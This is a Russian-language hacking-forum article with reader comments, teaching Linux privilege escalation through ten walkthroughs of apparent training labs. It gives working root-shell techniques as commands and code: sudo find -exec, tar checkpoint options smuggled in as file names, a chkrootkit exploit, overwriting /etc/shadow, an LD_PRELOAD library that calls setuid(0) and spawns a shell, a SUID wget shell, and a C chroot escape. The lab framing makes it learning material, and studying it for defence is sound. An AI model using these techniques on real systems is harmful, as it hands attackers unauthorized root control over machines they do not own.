• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья [ Linux ] - Основы повышения привилегий ( Privilege Escalation Basics )

grozdniyandy

White-Hat
Premium
Регистрация
11.08.2023
Сообщения
522
Реакции
677
Гарант сделки
2

sudo​

Ранее я писал о расширенном (advanced) повышении привилегий с помощью возможностей Linux, эта статья посвящена простому повышению привилегий. Эти методы активно используются в CTFS и, конечно, в реальной жизни. В будущем я планирую продолжить писать статьи o расширенном повышении привилегий.

Уровень: Легкий
Требования: Знание простых команд в Linux, логикa

Словарь:
запустить/выполнить - execute

Содержание
  1. Что такое повышение привилегий?
  2. Лаборатории и методы

Что такое повышение привилегий?

Повышение привилегий - это использование уязвимости, при которой пользователь может совершать действия, выходящие за рамки его привилегий. Мы попытаемся выполнить повышение привилегий в Linux, суть всего этого в том, чтобы обычный пользователь мог выполнять действия, которые могут быть выполнены только другим пользователем. Другим пользователем может быть либо root, либо любой другой пользователь в системе. Эта уязвимость связана с логикой, вы должны проанализировать, распознать и использовать. Прежде чем продолжить изучение лабораторий, мы должны понять некоторые основы того, как все это работает.

Что такое бит setuid/setgid ?​

Каждый файл и каталог в Linux имеет три набора битов разрешений, которые управляют доступом для трех различных категорий пользователей. Владелец (Owner) - пользователь, которому принадлежит файл или каталог. Если кто-то создал каталог или файл, это не означает, что этот пользователь является его владельцем, "владельство" может быть передано. Группа (Group) - группа пользователей, которые имеют одинаковые права. Другие (Others) - это все пользователи, которые не являются владельцами и не входят ни в группу, связанную с этим файлом.

У каждого пользователя может быть три типа разрешений. Чтение (Read) - позволяет пользователю прочитать файл. Запись (Write) - позволяет пользователю редактировать файл. Для редактирования файла пользователю не нужно его читать, это означает, что вы можете редактировать файл, не имея разрешения "читать". Выполнить/Запустить (Execute) - позволяет пользователю запустить файл. В Windows, если мы хотим открыть Firefox, мы нажимаем на него, в Linux мы можем "запустить" его через терминал, и он откроется.

Обычно, когда мы запускаем исполняемое приложение, оно запускается с привилегиями пользователя, который его запускает. Допустим, в нашей системе есть 3 пользователя: user1, xss и root. Мы хотим, чтобы user1 перечислил файлы и каталоги пользователя xss и сохранил выходные данные в /root. В этом случае мы можем использовать setuid. Бит Setuid позволяет user1 запустить команду ls от имени пользователя xss, даже если команда запускается от имени user1. И затем пользователь root может добавить бит setuid в команду "mv", чтобы user1 смог сохранить список доступных каталогов и файлов в /tmp, а затем переместить его в /root. Опытные люди сейчас думают: "ЧТО он делает?". Я привожу пример ситуации, в которой ваша система может быть легко скомпрометирована (compromised) .

Давайте протестируем это:
Bash:
sudo adduser xss
ls /home/xss #по желанию
ls -l /usr/bin/ls #по желанию
sudo chown xss /usr/bin/ls
su xss
cd
chmod u+s /usr/bin/ls
touch xss.pro
ls /home/xss

Изображение [1] : Создание пользователя xss

Изображение [1] : Создание пользователя xss

Изображение [2] : Добавление бита setuid

Изображение [2] : Добавление бита setuid


Изображение [3] : Проверка каталога пользователя xss

Изображение [3] : Проверка каталога пользователя xss


Изображение [4] : Разрешении файла /usr/bin/ls

Изображение [4] : Разрешении файла /usr/bin/ls

В этом случае мы выполнили первую часть для перечисления каталога пользователя "xss", мы использовали chmod u+s <файл>, чтобы добавить бит setuid, мы можем сделать то же самое с setgid.

Что такое cron и crontab?​

Cron - это основанный на времени планировщик заданий, который работает в фоновом режиме и запускает команды. Допустим, мы хотим отправлять статистику о свободном пространстве в нашем linux в telegram каждый час, мы можем сделать это с помощью cron.

Crontab - это файл для управления запланированными задачами в cron. У пользователей Linux есть свои собственные кронтабы.

Код:
* * * * * Команда
| | | | |
| | | | +-- День недели
| | | +---- Месяц
| | +------ День месяца
| +-------- Час
+---------- Минута

Прежде чем продолжить, удалите бит setuid, который мы установили ранее.
Bash:
chmod u-s /usr/bin/ls
Для теста давайте добавим задание cron, которое будет проверять дату каждые 2 минуты и сохранять ее в файл.

Изображение [5] : Создание задания cron

Изображение [5] : Создание задания cron

Изображение [6] : Проверяем наш cron

Изображение [6] : Проверяем наш cron​

Мы добавили строку в crontab, чтобы она запускала нашу команду. */2 означает запуск команды каждые 2 минуты. Если бы я написал 2 вместо */2, он запускал бы команду каждую 2-ю минуту каждого часа.
Код:
*/2 * * * * date > /home/kali/datatuta
Есть некоторые сложные задачи, которые также можно выполнить с помощью cron, но это всего лишь пример для нас, чтобы понять, как все это работает. Мы также можем написать код в bash, сохранить его в файл, сделать его исполняемым и добавить cron, который будет его запускать. Я писал выше об отправке данных в telegram, вы можете легко сделать это с помощью команды curl и telegram api, для этого не нужны какие-либо специальные знания программирования, это просто. Обычно я использую его для отправки результата задачи, когда она завершена.

Что за возможности sudo?​

Возможности sudo используются для управления доступом к привилегированным командам. Как и в предыдущем случае, мы запустили команду ls в каталоге /home/xss от имени пользователя kali. Мы расширили наши привилегии. То же самое можно сделать здесь, для пользователя root или любого другого конкретного пользователя. Мы можем отредактировать файл /etc/sudoers и указать, какие пользователи могут запускать какие команды с особыми привилегиями. Когда мы разрешаем пользователю запускат команду sudo с особыми привилегиями, мы также можем сделать так чтобы этот пользователь мог запустить команду без необходимости ввода пароля. Все это звучит неплохо, когда мы хотим автоматизировать некоторые задачи, где нам приходится использовать sudo.

Имя хоста (Hostname) - это имя конкретного компьютера. Чтобы просмотреть информацию о нашем имени хоста, мы можем использовать команду "hostnamectl".

Добавление данных в /etc/sudoers:
Код:
пользователь хост=(от имени) команда
xss     ALL=(ALL:ALL)  /usr/bin/find
В приведенном выше примере мы разрешаем пользователю xss запускать файл "/usr/bin/find" с любым именем хоста и от имени любого пользователя.

Изображение [7] : Добавление и проверка привилегий

Изображение [7] : Добавление и проверка привилегий


Изображение [8] : Добавление привилегий пользователю xss

Изображение [8] : Добавление привилегий пользователю xss

Изображение [9] : Хацк

Изображение [9] : Хацк​

Итак, я добавил пользователю xss возможность запускать команду "find" от имени пользователя root, сама команда "find" имеет опцию "-exec", которая позволяет запускать другую команду. Я запустил команду "ls -la /root", чтобы она отображала содержимое каталога /root. Мы также можем использовать "cat" и читать любые данные, которые захотим. Разрешение команде "find" запускаться от имени sudo позволит хакерам стать root как 2x2.

Что такое PATH?​

PATH - используется для указания списка каталогов, в которых операционная система будет искать исполняемые файлы при запуске команды.

Когда мы вводим команду в терминале, наш Linux выполняет поиск по каталогам, указанным в пути, чтобы найти исполняемый файл для этой команды. Допустим, мы хотим запустить команду "ls", и наш PATH таков:
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin
В этом случае система сначала проверит /usr/local/bin, чтобы найти команду ls, если ее там нет, она проверит /usr/bin и так далее.

Что такое файл .exrc?​

Файл .exrc используется для хранения параметров конфигурации для Vim. Существует статья о конфигурации vim, которую вы можете найти здесь:
https://www.freecodecamp.org/news/vimrc-configuration-guide-customize-your-vim-editor/

Лаборатории и методы​

Все лаборатории из: https://attackdefense.pentesteracademy.com/listing?labtype=linux-security-priv-esc&subtype=linux-security-priv-esc-basic
Я использую этот ресурс для лабораторий, потому что вместо того, чтобы предоставлять 20 лабораторий для одного и того же метода, они предоставляют 1 лабораторию для 1 метода. Приведенные здесь методы активно используются в CTF и, возможно, в реальной жизни, откуда белой шляпе знать?

Лаборатория №1​

Ссылка: https://attackdefense.pentesteracademy.com/challengedetails?cid=73

В этой лабораторной работе мы должны использовать уязвимость, связанную с setuid, и получить флаг.

Когда мы перечисляем файлы в домашнем каталоге, мы видим 2 файла: "greetings" и "welcome". Файл "welcome" имеет бит setuid который поставил root. Все, что мы можем, - это прочитать или запустить файл. Мы ничего не можем сделать с файлом "greetings".

Команда strings используется для извлечения строк, пригодных для печати, из двоичных файлов. Таким образом, в основном эта команда показывает только часть файла, которую пользователь может прочитать.

Когда мы читаем файл "welcome", мы видим, что там есть "greetings", поэтому, вероятно, "welcome" запускает "greetings", и поскольку мы можем запустить "welcome" с битом setuid, это означает, что "greetings" также запускается от имени пользователя root, поскольку root является владельцем файла "welcome".

Я знаю, это звучит немного сложно, подумайте об этом так. Root -> +setuid "welcome" -> ./welcome (как root) -> ./greetings (также как root, потому что оно запускается из "welcome")

Единственное, что приходит мне здесь на ум, - это удалить файл "greetings" и создать новый файл с тем же именем, но с другим содержимым, которое мы хотим запустить. Вы можете спросить, как получилось, что мы можем удалить файл, созданный другим пользователем? Мы можем удалить любой файл, который захотим, из КАТАЛОГА, в котором у нас есть разрешение "write".

Изображение [10] : Проверка файла

Изображение [10] : Проверка файла

Изображение [11] :Проверка папки

Изображение [11] : Проверка папки​

Итак, я удалил файл "greetings" и создал новый файл с тем же именем с содержимым "/bin/bash", когда я запущу "welcome", он запустит "greetings", который запустит "/bin/bash" и предоставит мне доступ к оболочке root. Все это произошло потому, что бит setuid был добавлен в файл "welcome", который запускает все остальное.

Изображение [12] :Хаацк

Изображение [12] : Хаацк​

Лаборатория №2​

Ссылка: https://attackdefense.pentesteracademy.com/challengedetails?cid=87

Эхх .. Мое первое повышение привилегий было выполнено таким образом, это было задание от моего руководителя, и тогда я понятия не имел, что такое повышение привилегий.

Иногда все, что нам нужно сделать, это проверить файлы, чтобы найти данные. В этой лабораторной работе мы должны использовать команду "find", чтобы найти пароль пользователя "root".

Как я писал выше, команда "find" имеет опцию "-exec", которая позволяет запускать другие команды. Я запустил команду "grep", чтобы она проверила содержимое всех файлов и выполнила поиск "root", параметры "-A" и "-B" означают "после" и "до". Он будет искать слово "root" и покажет 3 строки после этого слова и 3 строки перед этим словом. Я сделал это, потому что возможно, что пароль написан в верхних или нижних строках. После этого я использовал оператор канала (pipe) - "|". Оператор канала (pipe) передает выходные данные одной команды в качестве входных данных другой. Итак, после того, как первая команда получит то, что мы просили, вторая возьмёт этот результат и начнёт там искать слово "pass". Это уменьшит количество результатов.
Код:
find . -exec grep -A 3 -B 3 "root" {} \; 2>/dev/null | grep "pass" -A 3 -B 3

Изображение [13] :Нахождение данных

Изображение [13] : Нахождение данных

Изображение [14] :Хааацк

Изображение [14] : Хааацк​

Мы просто вошли в систему с указанными учетными данными. Стоит отметить, что это также могли быть входнЫе данные базы данных, с помощью которых мы могли бы расширить наши привилегии. Очевидно, что все это зависит от ситуации.

Лаборатория №3​

Ссылка: https://attackdefense.pentesteracademy.com/challengedetails?cid=74

В этой лабораторной работе мы должны выполнить повышение привилегий с помощью cron. Когда мы проверяем crontab, мы видим, что у нашего пользователя нет заданий cron. После проверки всех процессов в системе мы видим, что пользователь "root" запускает команду "cron".

Обычно, когда выполняются cronjobs, данные сохраняются в /tmp. Вы увидите подобные случаи в большинстве CTF. Итак, когда мы проверяем папку /tmp, мы видим файл, владельцем этого файла является "root", и он обновляется каждую минуту, как вы можете видеть на скриншоте. Мы можем увидеть 5 новых файлов после извлечения их из файла "monitor.tar.gz ". Все эти файлы относятся к 2018 году, что на самом деле означает, что они, вероятно, находятся где-то на нашем компьютере, а затем вставляются в файл "monitor.tar.gz ".

Изображение [15] :Извлечение данных

Изображение [15] : Извлечение данных


Изображение [16] :Поиск файла

Изображение [16] : Поиск файла​

Имя нашего файла - "monitor", поэтому, вероятно, файлы, которые мы ищем, будут находиться в каталоге, показанном выше.

Изображение [17] :Хаааацк

Изображение [17] : Хаааацк​

Чтобы вставить все эти файлы в "monitor.tar.gz " вероятно, была использована команда "tar". Чтобы найти способ злоупотреблять этой командой, мы можем проверить GTFOBins. GTFOBins - это список двоичных файлов, которые могут быть использованы для злоупотребления неправильной конфигурацией системы. Когда мы проверяем наличие "tar", мы видим, что через него можно злоупотребить командой.
Код:
https://gtfobins.github.io/gtfobins/tar/
Чтобы это сработало, мы должны добавить 2 параметра --checkpoint=1 и --checkpoint-action=exec=/bin/sh. Если файлы заданы в качестве входных данных для команды "tar", то мы можем создать файлы с именами "--checkpoint=1" и "--checkpoint-action=exec=/bin/sh", и в этом случае они будут добавлены в качестве опций. Это будет что-то вроде "tar 1 2 3 4 5 --checkpoint=1 --checkpoint-action=exec=/bin/sh"

Но мы хотим выполнить команду, которая выдаст даст нам оболочку root, для этого мы можем просто создать файл с именем shell.sh и в этом файле мы можем написать команду chmod u+s /usr/bin/find, которая добавит бит suid к команде "find".После выполнения этого, это будет похоже на "tar 1 2 3 4 5 shell.sh --checkpoint=1 --checkpoint-action=exec=sh shell.sh "

Мы должны подождать минуту и после этого проверить /usr/bin/find, чтобы увидеть, был ли добавлен бит suid или нет. Теперь мы можем стать "root" с помощью команды "find". GTFOBins: https://gtfobins.github.io/gtfobins/find/

Мы можем просто использовать вторую команду (под SUID) и получить root shell:
Bash:
find . -exec /bin/sh -p \; -quit

Лаборатория №4​

Ссылка: https://attackdefense.pentesteracademy.com/challengedetails?cid=699

В этой лабораторной работе мы должны проверить процессы и найти те, которые запускает root. После этого мы проверяем команду, которая выполняется в этом процессе. Когда я попытался прочитать содержимое команды с "strings", это показало мне, что она запустила другую команду "chkrootkit". Chkrootkit - это инструмент, используемый для проверки системы на наличие признаков руткитов. Руткит - это разновидность вредоносного ПО, предназначенного для получения доступа к системе, его цель - скрыть свое присутствие, что затрудняет его обнаружение.

Если мы загуглим "chkrootkit priv esc", то увидим, что существует эксплойт повышения привилегий. Чтобы воспользоваться уязвимостью, мы должны создать файл с именем "update" в каталоге /tmp, добавить в файл то, что мы хотим выполнить от имени root, и подождать. Я снова решил добавить бит suid к команде "find" и выполнил privesc таким образом. Ссылка на эксплойт: https://www.exploit-db.com/exploits/33899
Изображение [18] :Google

Изображение [18] : Google


1695414365849.png

Изображение [19] : Хааааацк

Лаборатория №5​

Ссылка: https://attackdefense.pentesteracademy.com/challengedetails?cid=75

В этой лаборатории мы должны найти файлы, доступные для записи. Мы - наш пользователь - рассматриваемся как "другие". Поэтому мы должны найти файлы, доступные для записи другими пользователями. После этого мы должны проверить файлы, которыми можно злоупотреблять. Это может быть /etc/shadow, /etc/sudoers, /etc/group и другие. В нашем случае это файл /etc/shadow, этот файл содержит пароли пользователей, поэтому мы можем просто сгенерировать пароль и поместить его туда, поскольку у нас есть разрешение "write". Для этого мы можем использовать команду "openssl". Мы можем добавить опцию "-1" для генерации пароля md5, "-5" для sha256 и "-6" для sha512. После генерации пароля мы можем отредактировать файл /etc/shadow, для этого мы использовали "vim". Теперь пароль пользователя root - "xss"

Bash:
find / -not -type l -perm -o+w 2>/dev/null
openssl passwd -1 -salt xyz xss
vim /etc/shadow
I
CTRL+C
:wq!
Enter

Изображение [20] :Поиск файлов, доступных для записи

Изображение [20] : Поиск файлов, доступных для записи

Изображение [21] :Редактирование пароля пользователя root

Изображение [21] : Редактирование пароля пользователя "root"

1695415514748.png

Изображение [22] : Хаааааацк​

Продолжение в комменте.​

Автор grozdniyandy

Источник https://xss.pro/​

 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
а для чего заранее делать пост что будет готово сегодня
 
а для чего заранее делать пост что будет готово сегодня
Когда я переключаюсь между экранами, иногда все возвращается назад, и черновик не сохраняется, однажды мне пришлось переписать половину статьи заново, я не хочу рисковать, так как даже написание 1 предложения иногда требует слишком много усилий. Извините, если это кого-то беспокоит.

Я буду звучать как индийский парень из службы поддержки, но пока вы можете проверить это, если хотите - https://xss.pro/threads/96450/
 

Лаборатория №6​

Ссылка: https://attackdefense.pentesteracademy.com/challengedetails?cid=80

Этот метод является наиболее распространенным и простым. Все, что нам нужно сделать, это проверить привилегии нашего пользователя и найти файл, который наш пользователь может запустить как другой пользователь в системе (возможно, root). Затем мы должны найти способ злоупотребить нашими привилегиями с помощью этого файла, обычно мы можем сделать это, просто проверив GTFOBins.

На скриншотах ниже я просто сделал то, что написал:

Изображение [23] : Хааааааацк

Изображение [23] : Хааааааацк

Изображение [24] : Путь в Хаааааацк

Изображение [24] : Путь в Хаааааацк

Лаборатория №7​

Ссылка: https://attackdefense.pentesteracademy.com/challengedetails?cid=81

В этой лаборатории мы должны повысить наши привилегии с помощью одного из процессов. Мы видим, что только 2 процесса выполняются пользователем root, crown и postfix. Postfix - это агент передачи почты, который доставляет электронную почту. В этот момент мне на ум приходят 3 вещи. Во-первых, проверить почту пользователя root, во-вторых, проверить наличие известных уязвимостей для "postfix" и, в-третьих, отредактировать любой файл, который запускает postfix.

Файлы электронной почты в Linux хранятся следующим образом:
Код:
/var/mail/{имя пользователя}

Когда мы проверяем электронную почту пользователя "root", мы видим, что есть файл (скрипт), который не может быть открыт. Когда мы проверяем этот файл, мы видим, что он на самом деле не существует, поэтому мы создаем его и пишем к нему код, который добавит бит suid к команде "find". Теперь мы можем просто расширить наши привилегии, как мы делали это раньше в лабораториях

Изображение [25] : Хаааааааацк

Изображение [25] : Хаааааааацк

Лаборатория №8​

Ссылка: https://attackdefense.pentesteracademy.com/challengedetails?cid=88

Что за переменные окружения?
Переменные окружения - это переменные, которые содержат информацию о среде, в которой выполняется программа. Они могут использоваться для управления тем, как программы управляют общими библиотеками.

Что такое env_keep?
Параметр env_keep определяет список переменных окружения, которые должны быть сохранены при выполнении команды.

Что такое LD_PRELOAD?
Переменная окружения LD_PRELOAD позволяет вам указать разделяемые (shared) библиотеки, которые должны быть загружены раньше всех остальных при запуске программы. Именно здесь рождается наша уязвимость. Мы можем создать общую библиотеку, и она будет выполнена раньше всего остального.

Что такое Apache?
Apache - это программное обеспечение веб-сервера, которое используется для обслуживания веб-страниц, обработки HTTP-запросов и т.д.

Что означает общая библиотека?
Общая библиотека - это набор кода, который несколько программ могут использовать одновременно во время их работы. Расширение файла для общих библиотек - ".so"

В этой лабораторной работе мы должны проверить привилегии пользователя и повысить их путем создания библиотеки. Мы можем запустить команду "apache2", и у нас есть переменная окружения LD_PRELOAD, которая загружает общие библиотеки. Все, что нам нужно сделать, это загрузить библиотеку, которую мы создали.

Теперь давайте сделаем все это шаг за шагом, сначала мы проверим наши привилегии и увидим, что мы можем запустить apache2 от имени root. Теперь мы должны создать библиотеку и предоставить ее в качестве входных данных, чтобы она выполнялась также от имени root при запуске apache2. Для этого я использовал GPT:
C:
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    system("/bin/sh");
}
Теперь мы должны скомпилировать наш код так, чтобы он стал библиотекой:
Bash:
gcc -fPIC -shared -o xss.so xss.c -nostartfiles
Все, что осталось сделать, это запустить apache2 с помощью библиотеки, которую мы только что создали. Когда мы запускаем Apache с помощью sudo и сохраняем LD_PRELOAD с помощью env_keep, он сохраняет определенное поведение предварительной загрузки библиотеки, когда Apache выполняется с повышенными привилегиями. Простыми словами, наша библиотека запускается с повышенными привилегиями:
Bash:
sudo LD_PRELOAD=/home/student/xss.so apache2

Изображение [26] : GPT

Изображение [26] : GPT


Изображение [27] : Хааааааааацк

Изображение [27] : Хааааааааацк

Лаборатория №9​

Ссылка: https://attackdefense.pentesteracademy.com/challengedetails?cid=97

Вы уже знаете, что такое $PATH и что такое .exrc. В этой лабораторной работе мы попытаемся повысить с ними уровень привилегий.

Что такое /bin/false?
/bin/false - это программа, которая всегда возвращает статус завершения и часто используется в качестве заполнителя в тех случаях, когда вы не хотите, чтобы оболочка выполняла какие-либо команды.

Поэтому я сначала проверил $PATH, чтобы увидеть, где запускаются приложения. Мы видим, что приложений для выполнения не так много, но когда мы проверяем /usr/bin, мы видим множество различных приложений. Я попытался изменить текущий $PATH, но это не сработало. Когда мы проверяем наш каталог, мы видим 3 файла, один из них - файл .exrc, о котором я писал выше. После прочтения этого файла мы видим, что для shell установлено значение /bin/false, это означает, что мы не можем открыть shell из vi. Вы можете спросить меня, зачем мне это делать? Ну, у нас очень ограниченное количество приложений, и из них только vi может открыть новую оболочку, которая может быть не ограничена, как эта. Поэтому я изменил содержимое файла .exrc и установил в shell значение /bin/bash.

Изображение [28] : Проверка PATH

Изображение [28] : Проверка PATH

Изображение [29] : Изменяем shell

Изображение [29] : Изменяем shell


Изображение [30] : Открываем оболчку через vi

Изображение [30] : Открываем оболчку через vi​

Теперь у нас есть неограниченная оболочка. Я изменил путь на /bin:/usr.bin, чтобы приложения загружались оттуда. Теперь мы можем использовать команду "find" для поиска файлов с битом setuid. Одним из таких файлов является "wget". Вы можете спросить, почему я использовал только get? Поскольку есть готовый способ повысить привилегии с его помощью, он находится в GTFOBins:
Код:
https://gtfobins.github.io/gtfobins/wget/
Bash:
find / -type f -perm -04000 -ls 2>/dev/null #ищем файлы с setuid bit
# делаем privesc
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
wget --use-askpass=$TF 0

Изображение [31] : Хаааааааааацк

Изображение [31] : Хаааааааааацк​
 
Последнее редактирование:

Лаборатория №10​

Ссылка: https://attackdefense.pentesteracademy.com/challengedetails?cid=1306

Сначала мы проверяем /usr/bin и видим, что существует только ограниченное количество приложений. Одним из них является vim, в этой лаборатории мы являемся "root", но можем запускать только ограниченное количество команд.

Итак, что же такое chroot?
chroot environment - это системная функция, которая позволяет вам создать изолированный каталог, который служит новым корневым каталогом. Обычно это используется в качестве тюрьмы против хакеров, так что, когда они получат доступ к вашему серверу, они будут находиться в изолированной среде и не смогут нанести вред вашей системе.

Как вы только что прочитали, он создает новый каталог "root", так что технически мы можем перейти в верхний каталог и получить доступ к реальным приложениям. Эксплойт, который мы собираемся использовать:

C:
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}

Компилируя его:
Bash:
gcc -o hack hack.c

После запуска кода мы успешно выходим из тюрьмы и компрометируем саму систему.

Изображение [32] : Проверка /usr/bin

Изображение [32] : Проверка /usr/bin

Изображение [33] : Копи-пастим exploit

Изображение [33] : Копи-пастим exploit


Изображение [34] : Проверка /usr/bin

Изображение [34] : Проверка /usr/bin

Изображение [35] : Хааааааааааацк

Изображение [35] : Хааааааааааацк​

Автор grozdniyandy

Источник https://xss.pro/​

 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх